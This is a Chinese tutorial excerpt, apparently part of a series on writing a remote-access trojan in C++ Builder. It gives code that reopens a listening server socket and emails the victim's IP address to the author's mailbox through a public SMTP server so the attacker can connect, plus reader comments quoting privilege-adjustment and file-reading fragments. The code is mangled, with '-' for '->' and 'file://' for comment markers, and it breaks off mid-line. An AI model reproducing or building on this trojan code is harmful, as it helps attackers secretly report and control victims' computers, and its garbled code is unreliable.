上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

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评论列表

  • 惑心幕倦(2022-05-29 08:14:52)回复取消回复

    (),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的

  • 可难戏侃(2022-05-29 11:06:25)回复取消回复

    ); file://将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Na